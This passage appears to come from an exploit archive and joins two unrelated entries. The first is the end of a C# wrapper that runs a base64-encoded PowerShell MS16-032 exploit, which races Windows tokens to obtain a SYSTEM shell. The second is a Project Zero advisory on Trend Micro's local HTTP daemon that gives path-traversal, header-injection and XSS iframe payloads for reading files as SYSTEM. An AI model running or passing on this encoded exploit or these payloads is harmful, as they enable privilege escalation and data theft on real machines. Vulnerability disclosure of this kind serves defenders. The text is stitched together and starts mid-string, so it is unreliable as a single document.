aW9uDQoJCWVjaG8gIls+XSBTdGFydGluZyB0b2tlbiByYWNlIg0KCQkkUnVuc3BhY2UgPSBbcnVuc3BhY2VmYWN0b3J5XTo6Q3JlYXRlUnVuc3BhY2UoKQ0KCQkkU3RhcnRUb2tlblJhY2UgPSBbcG93ZXJzaGVsbF06OkNyZWF0ZSgpDQoJCSRTdGFydFRva2VuUmFjZS5ydW5zcGFjZSA9ICRSdW5zcGFjZQ0KCQkkUnVuc3BhY2UuT3BlbigpDQoJCVt2b2lkXSRTdGFydFRva2VuUmFjZS5BZGRTY3JpcHQoew0KCQkJUGFyYW0gKCRUaHJlYWQsICRoRHVwbGljYXRlVG9rZW5IYW5kbGUpDQoJCQl3aGlsZSAoJHRydWUpIHsNCgkJCQkkQ2FsbFJlc3VsdCA9IFtBZHZhcGkzMl06OlNldFRocmVhZFRva2VuKFtyZWZdJFRocmVhZCwgJGhEdXBsaWNhdGVUb2tlbkhhbmRsZSkNCgkJCX0NCgkJfSkuQWRkQXJndW1lbnQoJFRocmVhZCkuQWRkQXJndW1lbnQoJGhEdXBsaWNhdGVUb2tlbkhhbmRsZSkNCgkJJEFzY09iaiA9ICRTdGFydFRva2VuUmFjZS5CZWdpbkludm9rZSgpDQoJCQ0KCQllY2hvICJbPl0gU3RhcnRpbmcgcHJvY2VzcyByYWNlIg0KCQkjIEFkZGluZyBhIHRpbWVvdXQgKDEwIHNlY29uZHMpIGhlcmUgdG8gc2FmZWd1YXJkIGZyb20gZWRnZS1jYXNlcw0KCQkkU2FmZUd1YXJkID0gW2RpYWdub3N0aWNzLnN0b3B3YXRjaF06OlN0YXJ0TmV3KCkNCgkJd2hpbGUgKCRTYWZlR3VhcmQuRWxhcHNlZE1pbGxpc2Vjb25kcyAtbHQgMTAwMDApIHsNCgkJIyBTdGFydHVwSW5mbyBTdHJ1Y3QNCgkJJFN0YXJ0dXBJbmZvID0gTmV3LU9iamVjdCBTVEFSVFVQSU5GTw0KCQkkU3RhcnR1cEluZm8uY2IgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTaXplT2YoJFN0YXJ0dXBJbmZvKSAjIFN0cnVjdCBTaXplDQoJCQ0KCQkjIFByb2Nlc3NJbmZvIFN0cnVjdA0KCQkkUHJvY2Vzc0luZm8gPSBOZXctT2JqZWN0IFBST0NFU1NfSU5GT1JNQVRJT04NCgkJDQoJCSMgQ3JlYXRlUHJvY2Vzc1dpdGhMb2dvblcgLS0+IGxwQ3VycmVudERpcmVjdG9yeQ0KCQkkR2V0Q3VycmVudFBhdGggPSAoR2V0LUl0ZW0gLVBhdGggIi5cIiAtVmVyYm9zZSkuRnVsbE5hbWUNCgkJDQoJCSMgTE9HT05fTkVUQ1JFREVOVElBTFNfT05MWSAvIENSRUFURV9TVVNQRU5ERUQNCgkJJENhbGxSZXN1bHQgPSBbQWR2YXBpMzJdOjpDcmVhdGVQcm9jZXNzV2l0aExvZ29uVygNCgkJCSJ1c2VyIiwgImRvbWFpbiIsICJwYXNzIiwNCgkJCTB4MDAwMDAwMDIsICJDOlxXaW5kb3dzXFN5c3RlbTMyXGNtZC5leGUiLCAiIiwNCgkJCTB4MDAwMDAwMDQsICRudWxsLCAkR2V0Q3VycmVudFBhdGgsDQoJCQlbcmVmXSRTdGFydHVwSW5mbywgW3JlZl0kUHJvY2Vzc0luZm8pDQoJCQkNCgkJJGhUb2tlbkhhbmRsZSA9IFtJbnRQdHJdOjpaZXJvDQoJCSRDYWxsUmVzdWx0ID0gW0FkdmFwaTMyXTo6T3BlblByb2Nlc3NUb2tlbigkUHJvY2Vzc0luZm8uaFByb2Nlc3MsIDB4MjgsIFtyZWZdJGhUb2tlbkhhbmRsZSkNCgkJIyBJZiB3ZSBjYW4ndCBvcGVuIHRoZSBwcm9jZXNzIHRva2VuIGl0J3MgYSBTWVNURU0gc2hlbGwhDQoJCWlmICghJENhbGxSZXN1bHQpIHsNCgkJCWVjaG8gIlshXSBIb2x5IGhhbmRsZSBsZWFrIEJhdG1hbiwgd2UgaGF2ZSBhIFNZU1RFTSBzaGVsbCEhYG4iDQoJCQkkQ2FsbFJlc3VsdCA9IFtLZXJuZWwzMl06OlJlc3VtZVRocmVhZCgkUHJvY2Vzc0luZm8uaFRocmVhZCkNCgkJCSRTdGFydFRva2VuUmFjZS5TdG9wKCkNCgkJCSRTYWZlR3VhcmQuU3RvcCgpDQoJCQlSZXR1cm4NCgkJfQ0KCQkJDQoJCSMgQ2xlYW4gdXAgc3VzcGVuZGVkIHByb2Nlc3MNCgkJJENhbGxSZXN1bHQgPSBbS2VybmVsMzJdOjpUZXJtaW5hdGVQcm9jZXNzKCRQcm9jZXNzSW5mby5oUHJvY2VzcywgMSkNCgkJJENhbGxSZXN1bHQgPSBbS2VybmVsMzJdOjpDbG9zZUhhbmRsZSgkUHJvY2Vzc0luZm8uaFByb2Nlc3MpDQoJCSRDYWxsUmVzdWx0ID0gW0tlcm5lbDMyXTo6Q2xvc2VIYW5kbGUoJFByb2Nlc3NJbmZvLmhUaHJlYWQpDQoJCX0NCgkJDQoJCSMgS2lsbCBydW5zcGFjZSAmIHN0b3B3YXRjaCBpZiBlZGdlLWNhc2UNCgkJJFN0YXJ0VG9rZW5SYWNlLlN0b3AoKQ0KCQkkU2FmZUd1YXJkLlN0b3AoKQ0KCX0NCn0="));

        public void ExecuteSynchronously()
        {
            InitialSessionState iss = InitialSessionState.CreateDefault();
            Runspace rs = RunspaceFactory.CreateRunspace(iss);
            rs.Open();
            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;
            ps.AddScript(PSInvoke_MS16_032);
            ps.AddScript("Invoke-MS16-032");
            ps.AddCommand("Out-Default");
            ps.Invoke();
            rs.Close();
        }
    }
}
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=775

The main component of Trend Micro Antivirus is CoreServiceShell.exe, which runs as NT AUTHORITY\SYSTEM. 

The CoreServiceShell includes an HTTP daemon, which is used for redirecting network content inspection among other things. For example, if you attempt to visit a blacklisted page, the request is redirected to http://localhost:37848/ and a warning page is displayed.

There are multiple problems with this daemon, first of all, there's a trivial path traversal in the /loadhelp/ and /wtp/ endpoints. The daemon checks paths for "../..", but this doesn't work because you can just do "..\..", which is an entirely valid path separator on Windows.

There's also some trivial header injection bugs, e.g:

http://localhost:37848/continue/TiCredToken=29579&Source=&URL=%0aContent-Type:%20text/html%0aContent-Length:%2032%0a%0a<h1>hello</h1>

By combining these two issues, you can remotely access files as SYSTEM on a Trend Micro machine.

I happened to notice another problem, the file loader.html has an obvious XSS if the window is 10px wide. I know that's an odd condition, but an attacker can easily force that with something like

<iframe width="26px" scrolling="no" src="http://localhost:37848/LocalHelp/loader?javascript:alert(1)">

The code is like this:

	var st = getStyle("a", "width");
	
	if (st == "10px") {
		var queryString = window.location.search;
		if (queryString.length > 0 && queryString.charAt(0) == "?") {
			var url = queryString.substr(1);
		}
		window.location.href = url;
        }

I honestly have no idea what the author intended, but this bug can be used with the path traversal to access arbitrary local files, or even authenticated remote files by forcing them to be downloaded (<a href=foo download>.click())